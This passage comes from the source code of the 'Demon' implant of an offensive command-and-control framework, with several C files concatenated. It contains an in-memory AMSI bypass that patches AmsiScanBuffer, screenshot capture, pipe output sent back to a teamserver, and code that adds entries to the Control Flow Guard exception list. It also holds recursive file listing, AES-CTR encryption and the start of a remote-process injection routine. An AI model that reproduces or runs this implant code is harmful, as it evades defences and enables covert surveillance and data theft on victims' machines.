0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; //x64 #elif defined(_M_IX86) unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86 #endif module[0] = HideChar('A'); module[1] = HideChar('M'); module[2] = HideChar('S'); module[3] = HideChar('I'); module[4] = HideChar('.'); module[5] = HideChar('D'); module[6] = HideChar('L'); module[7] = HideChar('L'); module[8] = HideChar('\0'); hModuleAmsi = LdrModuleLoad( module ); MemZero( module, sizeof( module ) ); PRINTF( "[+] Loaded asmi.dll: %p\n", hModuleAmsi ); pAddress = LdrFunctionAddr( hModuleAmsi, H_FUNC_AMSISCANBUFFER ); if( pAddress == NULL ) return 0; PRINTF("[+] asmi function: %p\n", pAddress); LPVOID lpBaseAddress = pAddress; ULONG OldProtection, NewProtection; SIZE_T uSize = sizeof(amsiPatch); if ( NT_SUCCESS( SysNtProtectVirtualMemory( NtCurrentProcess(), (PVOID)&lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection ) ) ) { MemCopy( pAddress, amsiPatch, sizeof(amsiPatch) ); if ( NT_SUCCESS( SysNtProtectVirtualMemory( NtCurrentProcess(), (PVOID)&lpBaseAddress, &uSize, OldProtection, &NewProtection ) ) ) { return TRUE; } PUTS( "[-] Failed to change back protection" ) } return FALSE; } BOOL AnonPipesInit( IN PANONPIPE AnonPipes ) { SECURITY_ATTRIBUTES SecurityAttr = { sizeof( SECURITY_ATTRIBUTES ), NULL, TRUE }; if ( ! Instance->Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) { PACKAGE_ERROR_WIN32 return FALSE; } return TRUE; } /*! * reads from the specified anonymous pipe and * sends the result back to the teamserver * @param AnonPipes * @param RequestID */ VOID AnonPipesRead( IN PANONPIPE AnonPipes, IN UINT32 RequestID ) { PPACKAGE Package = NULL; BOOL Success = FALSE; LPVOID Buffer = NULL; UCHAR buf[ 1024 ] = { 0 }; DWORD dwBufferSize = 0; DWORD dwRead = 0; PUTS( "Start reading anon pipe" ) PRINTF( "AnonPipes->StdOutRead => %x\n", AnonPipes->StdOutRead ) if ( AnonPipes->StdOutWrite ) { SysNtClose( AnonPipes->StdOutWrite ); AnonPipes->StdOutWrite = NULL; } Buffer = Instance->Win32.LocalAlloc( LPTR, 0 ); do { Success = Instance->Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL ); PRINTF( "dwRead => %d\n", dwRead ) if ( dwRead == 0 ) { break; } dwBufferSize += dwRead; Buffer = Instance->Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE ); MemCopy( Buffer + ( dwBufferSize - dwRead ), buf, dwRead ); MemSet( buf, 0, dwRead ); } while ( Success == TRUE ); if ( dwBufferSize ) { Package = PackageCreateWithRequestID( DEMON_OUTPUT, RequestID ); PackageAddBytes( Package, Buffer, dwBufferSize ); PackageTransmit( Package ); } DATA_FREE( Buffer, dwBufferSize ); } /*! * takes a BMP screenshot of the current desktop * @param ImagePointer * @param ImageSize * @return */ BOOL WinScreenshot( OUT PVOID* ImagePointer, OUT PSIZE_T ImageSize ) { BITMAPFILEHEADER BitFileHdr = { 0 }; BITMAPINFOHEADER BitInfoHdr = { 0 }; BITMAPINFO BitMapInfo = { 0 }; HGDIOBJ hTempMap = NULL; HBITMAP hBitmap = NULL; BITMAP AllDesktops = { 0 }; HDC hDC, hMemDC = NULL; BYTE* bBits = NULL; DWORD cbBits = 0; BOOL ReturnValue = FALSE; HGDIOBJ ObjPtr = NULL; PVOID BitMapImage = NULL; DWORD BitMapSize = 0; // NOTE: if GetSystemMetrics fails, screenshot works anyways INT x = Instance->Win32.GetSystemMetrics( SM_XVIRTUALSCREEN ); INT y = Instance->Win32.GetSystemMetrics( SM_YVIRTUALSCREEN ); MemSet( &BitFileHdr, 0, sizeof( BITMAPFILEHEADER ) ); MemSet( &BitInfoHdr, 0, sizeof( BITMAPINFOHEADER ) ); MemSet( &BitMapInfo, 0, sizeof( BITMAPINFO ) ); MemSet( &AllDesktops,0, sizeof( BITMAP ) ); hDC = Instance->Win32.GetDC( NULL ); if ( ! hDC ) { PUTS( "GetDC failed" ) goto Cleanup; } hTempMap = Instance->Win32.GetCurrentObject( hDC, OBJ_BITMAP ); if ( ! hTempMap ) { PUTS( "GetCurrentObject failed" ) goto Cleanup; } if ( ! Instance->Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) { PUTS( "GetObjectW failed" ) goto Cleanup; } BitFileHdr.bfType = ( WORD ) ( 'B' | ( 'M' << 8 ) ); BitFileHdr.bfOffBits = sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ); BitInfoHdr.biSize = sizeof( BITMAPINFOHEADER ); BitInfoHdr.biBitCount = 24; BitInfoHdr.biCompression = BI_RGB; BitInfoHdr.biPlanes = 1; BitInfoHdr.biWidth = AllDesktops.bmWidth; BitInfoHdr.biHeight = AllDesktops.bmHeight; BitMapInfo.bmiHeader = BitInfoHdr; cbBits = ( ( ( 24 * AllDesktops.bmWidth + 31 ) &~31 ) / 8 ) * AllDesktops.bmHeight; BitMapSize = cbBits + ( sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ) ); BitMapImage = Instance->Win32.LocalAlloc( LPTR, BitMapSize ); hMemDC = Instance->Win32.CreateCompatibleDC( hDC ); if ( ! hMemDC ) { PUTS( "CreateCompatibleDC failed" ) goto Cleanup; } hBitmap = Instance->Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 ); if ( ! hBitmap ) { PUTS( "CreateDIBSection failed" ) goto Cleanup; } ObjPtr = Instance->Win32.SelectObject( hMemDC, hBitmap ); if ( ! ObjPtr || ObjPtr == HGDI_ERROR ) { PUTS( "SelectObject failed" ) goto Cleanup; } if ( ! Instance->Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) { PUTS( "BitBlt failed" ) goto Cleanup; } MemCopy( BitMapImage, &BitFileHdr, sizeof( BITMAPFILEHEADER ) ); MemCopy( BitMapImage + sizeof( BITMAPFILEHEADER ), &BitInfoHdr, sizeof( BITMAPINFOHEADER ) ); MemCopy( BitMapImage + sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ), bBits, cbBits ); ReturnValue = TRUE; Cleanup: if ( ImagePointer ) *ImagePointer = BitMapImage; if ( ImageSize ) *ImageSize = BitMapSize; if ( hTempMap ) { Instance->Win32.DeleteObject( hTempMap ); } if ( hMemDC ) { Instance->Win32.DeleteDC( hMemDC ); } if ( hDC ) { Instance->Win32.ReleaseDC( NULL, hDC ); } if ( hBitmap ) { Instance->Win32.DeleteObject( hBitmap ); } return ReturnValue; } /*! * Read from the pipe and writes it to the specified buffer * @param Handle handle to the pipe * @param Buffer buffer to save the read bytes from the pipe * @return pipe read successful or not */ BOOL PipeRead( IN HANDLE Handle, IN PBUFFER Buffer ) { DWORD Read = 0; DWORD Total = 0; do { if ( ! Instance->Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) { if ( NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "ReadFile failed with %d\n", NtGetLastError() ) return FALSE; } } Total += Read; } while ( Total < Buffer->Length ); return TRUE; } /*! * Write the specified buffer to the specified pipe * @param Handle handle to the pipe * @param Buffer buffer to write * @return pipe write successful or not */ BOOL PipeWrite( IN HANDLE Handle, OUT PBUFFER Buffer ) { DWORD Written = 0; DWORD Total = 0; do { if ( ! Instance->Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) { return FALSE; } Total += Written; } while ( Total < Buffer->Length ); return TRUE; } /*! * @brief * check if CFG is enforced in this current process. * * @return */ BOOL CfgQueryEnforced( VOID ) { EXTENDED_PROCESS_INFORMATION ProcInfoEx = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; ProcInfoEx.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; ProcInfoEx.ExtendedProcessInfoBuffer = 0; /* query if Cfg is enabled or not. */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationProcess( NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &ProcInfoEx, sizeof( ProcInfoEx ), NULL ) ) ) { PRINTF( "NtQueryInformationProcess Failed => %p\n", NtStatus ); return FALSE; } PRINTF( "Control Flow Guard Policy Enabled = %s\n", ProcInfoEx.ExtendedProcessInfoBuffer ? "TRUE" : "FALSE" ); return U_PTR( ProcInfoEx.ExtendedProcessInfoBuffer ); } /*! * @brief * add module + function to CFG exception list. * * @param ImageBase * @param Function */ VOID CfgAddressAdd( IN PVOID ImageBase, IN PVOID Function ) { CFG_CALL_TARGET_INFO Cfg = { 0 }; MEMORY_RANGE_ENTRY MemRange = { 0 }; VM_INFORMATION VmInfo = { 0 }; PIMAGE_NT_HEADERS NtHeader = { 0 }; ULONG Output = 0; NTSTATUS NtStatus = STATUS_SUCCESS; NtHeader = C_PTR( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ); MemRange.NumberOfBytes = U_PTR( NtHeader->OptionalHeader.SizeOfImage + 0x1000 - 1 ) &~( 0x1000 - 1 ); MemRange.VirtualAddress = ImageBase; /* set cfg target call info */ Cfg.Flags = CFG_CALL_TARGET_VALID; Cfg.Offset = Function - ImageBase; VmInfo.dwNumberOfOffsets = 1; VmInfo.plOutput = &Output; VmInfo.ptOffsets = &Cfg; VmInfo.pMustBeZero = FALSE; VmInfo.pMoarZero = FALSE; if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationVirtualMemory( NtCurrentProcess(), VmCfgCallTargetInformation, 1, &MemRange, &VmInfo, sizeof( VmInfo ) ) ) ) { PRINTF( "NtSetInformationVirtualMemory Failed => %p", NtStatus ); } } /*! * Sets an event * @param Event */ BOOL EventSet( IN HANDLE Event ) { return NT_SUCCESS( Instance->Win32.NtSetEvent( Event, NULL ) ); } /*! * generates a random unsigned 32-bit integer * @return */ ULONG RandomNumber32( VOID ) { ULONG Seed = 0; Seed = NtGetTickCount(); Seed = Instance->Win32.RtlRandomEx( &Seed ); Seed = Instance->Win32.RtlRandomEx( &Seed ); Seed = ( Seed % ( LONG_MAX - 2 + 1 ) ) + 2; return Seed % 2 == 0 ? Seed : Seed + 1; } /*! * generates a random bool * @return */ BOOL RandomBool( VOID ) { ULONG Seed = 0; Seed = NtGetTickCount(); Seed = Instance->Win32.RtlRandomEx( &Seed ); return Seed % 2 == 0 ? TRUE : FALSE; } /*! * get current timestamp since unix epoch * from KUSER_SHARED_DATA * @return */ ULONG64 SharedTimestamp( VOID ) { //SIZE_T UnixStart = 0x019DB1DED53E8000; /* Start of Unix epoch in ticks. */ //SIZE_T TicksPerMilli = 1000; LARGE_INTEGER Time = { 0 }; Time.LowPart = USER_SHARED_DATA->SystemTime.LowPart; Time.HighPart = USER_SHARED_DATA->SystemTime.High2Time; // NOTE: avoid 64-bit division which doesn't work in x86 //return ( ULONGLONG ) ( ( Time.QuadPart - UnixStart ) / TicksPerMilli ); return Time.QuadPart; } /*! * Sleep using KUSER_SHARED_DATA.SystemTime * @param Delay */ VOID SharedSleep( ULONG64 Delay ) { SIZE_T Rand = { 0 }; ULONG64 End = { 0 }; ULONG TicksPerMilli = 1000; Delay *= TicksPerMilli; Rand = RandomNumber32(); End = SharedTimestamp() + Delay; /* increment random number til we reach the end */ while ( SharedTimestamp() < End ) { Rand += 1; } if ( ( SharedTimestamp() - End ) > 2000 ) { return; } } VOID ShuffleArray( _Inout_ PVOID* array, IN SIZE_T n ) { SIZE_T j = 0; PVOID t = NULL; for ( int i = 0; i < n - 1; i++ ) { j = i + ( RandomNumber32() & RAND_MAX ) / ( RAND_MAX / ( n - i ) + 1 ); t = array[ j ]; array[ j ] = array[ i ]; array[ i] = t; } } VOID volatile ___chkstk_ms( VOID ) { __asm__( "nop" ); } #if defined(SEND_LOGS) && defined(DEBUG) VOID DemonPrintf( PCHAR fmt, ... ) { PPACKAGE package = NULL; va_list VaListArg = 0; PVOID CallbackOutput = NULL; INT CallbackSize = 0; if ( ! Instance->Session.Connected ) { return; } package = PackageCreate( BEACON_OUTPUT ); va_start( VaListArg, fmt ); CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ); CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize ); Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ); va_end( VaListArg ); PackageAddInt32( package, 0 ); // CALLBACK_OUTPUT PackageAddBytes( package, CallbackOutput, CallbackSize ); PackageTransmit( package ); MemSet( CallbackOutput, 0, CallbackSize ); Instance->Win32.LocalFree( CallbackOutput ); } #elif defined(SHELLCODE) && defined(DEBUG) VOID LogToConsole( IN LPCSTR fmt, ...) { INT OutputSize = 0; LPSTR OutputString = NULL; va_list VaListArg = 0; // have we initialized all the function addresses? if ( Instance->Win32.AttachConsole == NULL || Instance->Win32.vsnprintf == NULL || Instance->Win32.GetStdHandle == NULL || Instance->Win32.WriteConsoleA == NULL || Instance->Win32.LocalAlloc == NULL ) return; // get the handle to the output console if ( Instance->hConsoleOutput == NULL ) { Instance->Win32.AttachConsole( ATTACH_PARENT_PROCESS ); Instance->hConsoleOutput = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE ); if ( ! Instance->hConsoleOutput ) return; } va_start( VaListArg, fmt ); // allocate space for the final string OutputSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1; OutputString = Instance->Win32.LocalAlloc( LPTR, OutputSize ); // write the final string Instance->Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg ); // write it to the console Instance->Win32.WriteConsoleA( Instance->hConsoleOutput, OutputString, OutputSize, NULL, NULL ); DATA_FREE( OutputString, OutputSize ); va_end( VaListArg ); } #endif PROOT_DIR listDir( IN LPWSTR StartPath, IN BOOL SubDirs, IN BOOL FilesOnly, IN BOOL DirsOnly, IN LPWSTR Starts, IN LPWSTR Contains, IN LPWSTR Ends, IN UINT32 MaxLevelDeep) { WIN32_FIND_DATAW FindData = { 0 }; HANDLE hFile = NULL; ULARGE_INTEGER FileSize = { 0 }; PROOT_DIR RootDir = NULL; PROOT_DIR Dir = NULL; PROOT_DIR LastDir = NULL; PROOT_DIR TmpRootDir = NULL; PDIR_OR_FILE DirOrFile = NULL; PDIR_OR_FILE LastDirOrFile = NULL; PDIR_OR_FILE TmpDirOrFile = NULL; PSUB_DIR RootSubDir = NULL; PSUB_DIR LastSubDir = NULL; PSUB_DIR SubDir = NULL; BOOL IsDir = FALSE; LPWSTR Path = NULL; UINT32 PathSize = NULL; BOOL Success = FALSE; if ( ( ! StartPath ) || ( FilesOnly && DirsOnly ) ) { PUTS( "Invalid arguments" ) goto Cleanup; } // allocate the path on the heap to keep stack usage low (given that this function is recursive) Path = Instance->Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) ); if ( ! Path ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } // copy the path PathSize = MIN( MAX_PATH, StringLengthW( StartPath ) ); MemCopy( Path, StartPath, PathSize * sizeof( WCHAR ) ); // search for the first file in the folder specified hFile = Instance->Win32.FindFirstFileW( Path, &FindData ); if ( hFile == INVALID_HANDLE_VALUE ) { PRINTF( "FindFirstFileW failed for path %ls\n", Path ); goto Cleanup; } IsDir = ( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) == FILE_ATTRIBUTE_DIRECTORY; // If it's a single directory without a wildcard, re-run it with a \* if ( IsDir && Path[ PathSize - 1 ] != 0x2a ) { if ( Path[ PathSize - 1 ] != 0x5c ) Path[ PathSize++ ] = 0x5c; Path[ PathSize++ ] = 0x2a; Path[ PathSize ] = 0x00; // repeat the search Instance->Win32.FindClose( hFile ); hFile = Instance->Win32.FindFirstFileW( Path, &FindData ); if ( hFile == INVALID_HANDLE_VALUE ) { PRINTF( "FindFirstFileW failed for path %ls\n", Path ); goto Cleanup; } } // allocate the RootDir RootDir = Instance->Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) ); if ( ! RootDir ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } MemCopy( RootDir->Path, Path, MIN( MAX_PATH, StringLengthW( Path ) ) * sizeof( WCHAR ) ); do { IsDir = ( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) == FILE_ATTRIBUTE_DIRECTORY; // ignore dirs if we are only looking for files on the current dir if ( IsDir && ! SubDirs && FilesOnly ) continue; // ignore files if we are only looking for dirs if ( ! IsDir && DirsOnly ) continue; // ignore . if ( IsDir && StringLengthW( FindData.cFileName ) == 1 && FindData.cFileName[0] == 0x2e ) continue; // ignore .. if ( IsDir && StringLengthW( FindData.cFileName ) == 2 && FindData.cFileName[0] == 0x2e && FindData.cFileName[1] == 0x2e ) continue; // if we are interested in subdirs, remember that we found this directory if ( IsDir && SubDirs ) { SubDir = Instance->Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) ); if ( ! SubDir ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } MemCopy( SubDir->Path, Path, ( PathSize - 1 ) * sizeof( WCHAR ) ); StringConcatW( SubDir->Path, FindData.cFileName ); if ( ! LastSubDir ) { RootSubDir = SubDir; LastSubDir = SubDir; } else { LastSubDir->Next = SubDir; LastSubDir = SubDir; } } // ignore dirs if we are only looking for files if ( IsDir && FilesOnly ) continue; // if defined, make sure the name starts with Starts if ( Starts ) { if ( StringLengthW( FindData.cFileName ) < StringLengthW( Starts ) ) continue; if ( StringCompareIW( Starts, FindData.cFileName ) != 0 ) continue; } // if defined, make sure the name contains with Contains if ( Contains ) { if ( StringLengthW( FindData.cFileName ) < StringLengthW( Contains ) ) continue; if ( ! WcsStr( FindData.cFileName, Contains ) ) continue; } // if defined, make sure the name ends with Ends if ( Ends ) { if ( StringLengthW( FindData.cFileName ) < StringLengthW( Ends ) ) continue; if ( StringCompareIW( Ends, &FindData.cFileName[ StringLengthW( FindData.cFileName ) - StringLengthW( Ends ) ] ) != 0 ) continue; } // save this directory or file DirOrFile = Instance->Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) ); if ( ! DirOrFile ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } Instance->Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime ); Instance->Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime ); DirOrFile->IsDir = IsDir; if ( DirOrFile->IsDir ) { RootDir->NumFolders += 1; } else { FileSize.HighPart = FindData.nFileSizeHigh; FileSize.LowPart = FindData.nFileSizeLow; DirOrFile->Size = FileSize.QuadPart; RootDir->NumFiles += 1; RootDir->TotalFileSize += DirOrFile->Size; } MemCopy( DirOrFile->FileName, FindData.cFileName, StringLengthW( FindData.cFileName ) * sizeof( WCHAR ) ); if ( LastDirOrFile ) { LastDirOrFile->Next = DirOrFile; } else { RootDir->Content = DirOrFile; } LastDirOrFile = DirOrFile; } while ( Instance->Win32.FindNextFileW( hFile, &FindData ) ); // list all subdirs recursively if requested SubDir = RootSubDir; LastDir = RootDir; while ( MaxLevelDeep > 0 && SubDir ) { Dir = listDir( SubDir->Path, SubDirs, FilesOnly, DirsOnly, Starts, Contains, Ends, MaxLevelDeep -1 ); if ( Dir ) { LastDir->Next = Dir; LastDir = Dir; while ( LastDir->Next ) { LastDir = LastDir->Next; } } SubDir = SubDir->Next; } Success = TRUE; Cleanup: if ( hFile ) Instance->Win32.FindClose( hFile ); DATA_FREE( Path, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) ); SubDir = RootSubDir; while ( SubDir ) { LastSubDir = SubDir->Next; DATA_FREE( SubDir, sizeof( SUB_DIR ) ); SubDir = LastSubDir; } if ( ! Success ) { while ( RootDir ) { DirOrFile = RootDir->Content; while ( DirOrFile ) { TmpDirOrFile = DirOrFile->Next; DATA_FREE( DirOrFile, sizeof( DIR_OR_FILE ) ); DirOrFile = TmpDirOrFile; } TmpRootDir = RootDir->Next; DATA_FREE( RootDir, sizeof( ROOT_DIR ) ); RootDir = TmpRootDir; } return NULL; } return RootDir; } ================================================ FILE: payloads/Demon/src/crypt/AesCrypt.c ================================================ #include #include #define Nb 4 #if defined(AES256) && (AES256 == 1) #define Nk 8 #define Nr 14 #elif defined(AES192) && (AES192 == 1) #define Nk 6 #define Nr 12 #else #define Nk 4 // The number of 32 bit words in a key. #define Nr 10 // The number of rounds in AES Cipher. #endif #ifndef MULTIPLY_AS_A_FUNCTION #define MULTIPLY_AS_A_FUNCTION 0 #endif typedef UINT8 state_t[4][4]; static const UINT8 sbox[256] = { //0 1 2 3 4 5 6 7 8 9 A B C D E F 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; static const UINT8 Rcon[11] = { 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; #define getSBoxValue(num) (sbox[(num)]) void KeyExpansion(UINT8* RoundKey, const UINT8* Key) { unsigned i, j, k; UINT8 tempa[4]; for (i = 0; i < Nk; ++i) { RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; } for (i = Nk; i < Nb * (Nr + 1); ++i) { { k = (i - 1) * 4; tempa[0]=RoundKey[k + 0]; tempa[1]=RoundKey[k + 1]; tempa[2]=RoundKey[k + 2]; tempa[3]=RoundKey[k + 3]; } if (i % Nk == 0) { const UINT8 u8tmp = tempa[0]; tempa[0] = tempa[1]; tempa[1] = tempa[2]; tempa[2] = tempa[3]; tempa[3] = u8tmp; tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); tempa[0] = tempa[0] ^ Rcon[i/Nk]; } if (i % Nk == 4) { tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); } j = i * 4; k=(i - Nk) * 4; RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; } } void AesInit( PAESCTX ctx, const PUINT8 key, const PUINT8 iv) { KeyExpansion( ctx->RoundKey, key ); MemCopy( ctx->Iv, iv, AES_BLOCKLEN ); } // This function adds the round key to state. // The round key is added to the state by an XOR function. static void AddRoundKey(UINT8 round, state_t* state, const UINT8* RoundKey) { UINT8 i,j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; } } } // The SubBytes Function Substitutes the values in the // state matrix with values in an S-box. static void SubBytes(state_t* state) { UINT8 i, j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[j][i] = getSBoxValue((*state)[j][i]); } } } // The ShiftRows() function shifts the rows in the state to the left. // Each row is shifted with different offset. // Offset = Row number. So the first row is not shifted. static void ShiftRows(state_t* state) { UINT8 temp; // Rotate first row 1 columns to left temp = (*state)[0][1]; (*state)[0][1] = (*state)[1][1]; (*state)[1][1] = (*state)[2][1]; (*state)[2][1] = (*state)[3][1]; (*state)[3][1] = temp; // Rotate second row 2 columns to left temp = (*state)[0][2]; (*state)[0][2] = (*state)[2][2]; (*state)[2][2] = temp; temp = (*state)[1][2]; (*state)[1][2] = (*state)[3][2]; (*state)[3][2] = temp; // Rotate third row 3 columns to left temp = (*state)[0][3]; (*state)[0][3] = (*state)[3][3]; (*state)[3][3] = (*state)[2][3]; (*state)[2][3] = (*state)[1][3]; (*state)[1][3] = temp; } static UINT8 xtime(UINT8 x) { return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); } // MixColumns function mixes the columns of the state matrix static void MixColumns(state_t* state) { UINT8 i; UINT8 Tmp, Tm, t; for (i = 0; i < 4; ++i) { t = (*state)[i][0]; Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; } } // Cipher is the main function that encrypts the PlainText. static void Cipher(state_t* state, const UINT8* RoundKey) // Main { UINT8 round = 0; // Add the First round key to the state before starting the rounds. AddRoundKey(0, state, RoundKey); // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without MixColumns() for (round = 1; ; ++round) { SubBytes(state); ShiftRows(state); if (round == Nr) { break; } MixColumns(state); AddRoundKey(round, state, RoundKey); } // Add round key to last round AddRoundKey(Nr, state, RoundKey); } #if defined(CTR) && (CTR == 1) void AesXCryptBuffer( PAESCTX ctx, PUINT8 buf, SIZE_T length) { UINT8 buffer[AES_BLOCKLEN]; size_t i; int bi; for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) { if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ { MemCopy(buffer, ctx->Iv, AES_BLOCKLEN); Cipher((state_t*)buffer,ctx->RoundKey); for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) { if (ctx->Iv[bi] == 255) { ctx->Iv[bi] = 0; continue; } ctx->Iv[bi] += 1; break; } bi = 0; } buf[i] = (buf[i] ^ buffer[bi]); } } #endif ================================================ FILE: payloads/Demon/src/inject/Inject.c ================================================ #include #include #include #include #include #include #include #include #include /*! * Inject code into a remote process * * @param Method thread execution method. * @param Handle opened handle to the remote process. * @param Pid if no handle has been provided than open the process using the Pid * @param x64 payload architecture (only x64/x86 supported). * @param Payload payload buffer to inject * @param Size payload buffer size to inject * @param Offset execution entrypoint offset (can be used to specify the ReflectiveLoader function) * @param Argv Argument buffer to pass to the injected code * @param Argc Argument buffer size to pass to the injected code * * @return returns a INJECTION_ERROR_? status */ DWORD Inject( IN BYTE Method, IN HANDLE Handle, IN DWORD Pid, IN BOOL x64, IN PVOID Payload, 